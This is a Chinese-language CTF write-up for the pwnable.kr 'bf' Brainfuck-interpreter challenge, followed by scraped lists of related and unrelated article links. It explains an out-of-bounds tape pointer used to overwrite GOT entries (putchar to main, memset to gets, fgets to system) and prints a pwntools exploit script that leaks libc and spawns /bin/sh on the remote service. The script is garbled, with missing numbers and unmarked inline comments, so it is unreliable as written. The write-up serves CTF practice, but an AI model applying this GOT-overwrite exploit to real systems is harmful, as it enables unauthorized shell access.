I made a simple brain-fuck language emulation program written in C.
The [ ] commands are not implemented yet. However the rest functionality seems working fine.
Find a bug and exploit it to get a shell. Download : http://pwnable.kr/bin/bf
Download : http://pwnable.kr/bin/bf_libc.so Running at : nc pwnable.kr

补充一下知识,什么是brainfuck呢?

Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在英语中是脏话,这种语言有时被称为brainf*ck或brainf**k,甚至被简称为BF。

接下来我们来看程序,首先看main函数:

 

点进去看一下brainfuck函数:

大致可分析得到程序的思路是:

fget输入,根据输入的内容对应相应的字符并执行。

补充:深入理解计算机中的bss,text,堆,栈 http://www.cnblogs.com/yanghong-hnu/p/4705755.html

题的思路主要利用的是p指针,如图,也是主函数中的tape变量,这个指针位于bss段,而不是栈中

bss段上面是got.plt段,离bss比较近,所以思路肯定就是改got表了。

下面我们分析解题思路 :

首先让p指针指到got表,用getchar进行修改,并用system得到shell,而system在Libc中,并且是地址随机化的。

所以只能从用户输入入手:

  • 将menset覆写为gets,从stdin中读入"/bin/sh\0"

  • 将fgets覆写为system,执行system("/bin/sh\0")获取shell

这步骤是第二次运行main函数的,所以最后的方法是将putchar改为main函数,然后再次进入main函数过程,利用将memset改为gets,将fgets改为system获取shell。

整体思路:

  • 泄露putchar函数真实地址

  • 根据题目给的libc计算其他函数真实地址

  • 覆写GOT表中putchar函数为main函数地址

  • 覆写GOT表中fgets函数为system函数地址

  • 覆写GOT表中memset函数为gets函数地址

  • 返回main函数,getshell

所以exp如下:别人的exp我做些分析

 from pwn import *
context(os='linux', arch='i386', log_level='debug') DEBUG =
if DEBUG:
p = process('./bf')
libc = ELF('/usr/lib32/libc.so.6')
else:
p = remote('pwnable.kr', )
libc = ELF('./bf_libc.so') def main():
#pwnlib.gdb.attach(p)
p.recvuntil(']') put_char_offset = 0x8048a0a0 - 0x8048a030 tape到got表的相对地址
payload = '.' 输出指针指向的位置
payload += '<' * put_char_offset 指针put_char_offset减1
payload += '.>' * 4 输出指针位置加4的位置
payload += '<,' * # write put_char 输入内容到putchar的位置
payload += '<' * 4 指向memset的位置
payload += ',>' * # write memset 输入内容到memset位置后返回到Putchar
payload += '<' * (0x2c - 0x10 + ) 指针指向fget的位置
payload += ',>' * # write fgets 向fget输入后指针位置+4
payload += '.' * (0x400 - len(payload) - )
p.send(payload)
p.recv()
if DEBUG:
leak = p.recv()[:]
else:
p.recv()
leak = p.recv() log.info('get:' + str(len(leak)))
log.info('leak:' + hex(u32(leak))) putchar_pos = u32(leak)
libc_base = putchar_pos - libc.symbols['putchar']
system_addr = libc_base + libc.symbols['system']
gets_addr = libc_base + libc.symbols['gets']
main_addr = 0x08048671 log.info("libc base at:" + hex(libc_base)) packed_gadget_pos = p32(0x08048671) # write put char
for x in (packed_gadget_pos[::-]):
p.send(x) # write memset
for x in p32(gets_addr):
p.send(x)
#write fgets
for x in p32(system_addr):
p.send(x) p.recvuntil(']')
payload = '/bin/sh\x00'
p.send(payload) p.interactive() if __name__ == '__main__':
main()

pwnable.kr brainfuck之write up的更多相关文章

  1. 【pwnable.kr】 brainfuck

    pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...

  2. pwnable.kr之brainf*ck

    pwnable.kr之brainf*ck 今天又是被难倒的一天Orz,个人感觉pwnable.kr上的题都比较剑走偏锋,仔细做过去,一定会有很大的收获. 不多说了,今天看的是第二关的第一道题:brai ...

  3. pwnable.kr的passcode

    前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...

  4. pwnable.kr bof之write up

    这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...

  5. pwnable.kr col之write up

    Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...

  6. pwnable.kr login之write up

    main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...

  7. pwnable.kr详细通关秘籍(二)

    i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...

  8. pwnable.kr simple login writeup

    这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程   主要逻辑是输入一个字符串,base64解码后看是否与题目 ...

  9. pwnable.kr第二天

    3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0 ...

随机推荐

  1. CDH版本的oozie安装执行bin/oozie-setup.sh prepare-war,没生成oozie.war?

    不多说,直接上干货! 前期博客 Oozie安装部署 问题描述 bin/oozie-setup.sh prepare-war 解决办法 [hadoop@bigdatamaster bin]$ pwd / ...

  2. DL4NLP —— seq2seq+attention机制的应用:文档自动摘要(Automatic Text Summarization)

    两周以前读了些文档自动摘要的论文,并针对其中两篇( [2] 和 [3] )做了presentation.下面把相关内容简单整理一下. 文本自动摘要(Automatic Text Summarizati ...

  3. 关于前端的photoshop初探的学习笔记

    写在前边 这还是高三的时候暑假的时候学习这个软件时记的笔记呢,今天又在电脑上找到了它,总觉得不应该让他尘封在我的硬盘上,于是挂了出来.温馨提示:比较乱,写给自己看的,看不下去,按ctrl+W 笔记内容 ...

  4. ES6中的迭代器(Iterator)和生成器(Generator)

    前面的话 用循环语句迭代数据时,必须要初始化一个变量来记录每一次迭代在数据集合中的位置,而在许多编程语言中,已经开始通过程序化的方式用迭代器对象返回迭代过程中集合的每一个元素 迭代器的使用可以极大地简 ...

  5. session的用法

    <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding= ...

  6. Beautifulsoup和selenium的简单使用

    Beautifulsoup和selenium的简单使用 requests库的复习 好久没用requests了,因为一会儿要写个简单的爬虫,所以还是随便写一点复习下. import requests r ...

  7. c++STL(栈、队列)

    栈stack -先入后出FILO 栈可以理解为一个坑,先掉坑里的被压在下面,等上面的走了才能出来 头文件 <stack> 入栈 push(某东西); 栈顶元素出栈 pop(); 是否为空 ...

  8. Android 原生 Intent 分享支持的那些事

    版权声明: 本账号发布文章均来自公众号,承香墨影(cxmyDev),版权归承香墨影所有. 每周会统一更新到这里,如果喜欢,可关注公众号获取最新文章. 未经允许,不得转载. 一.前言 对于一个 App ...

  9. IntelliJ IDEA javaDoc的使用

    文档注释的风格看个人主要说一下在idea中如何配置和使用快捷的文档注释 1.想像Eclipse一样使用 /**来写文档注释可以通过settings下的Live Templates来设置如下图所示 ja ...

  10. MJRefresh 使用注意点

    1.使用上拉加载更多, 当数据加载完调用[ableView.mj_footer endRefreshingWithNoMoreData]方法显示已经全部加载完毕这个方法,一定要放在[tableView ...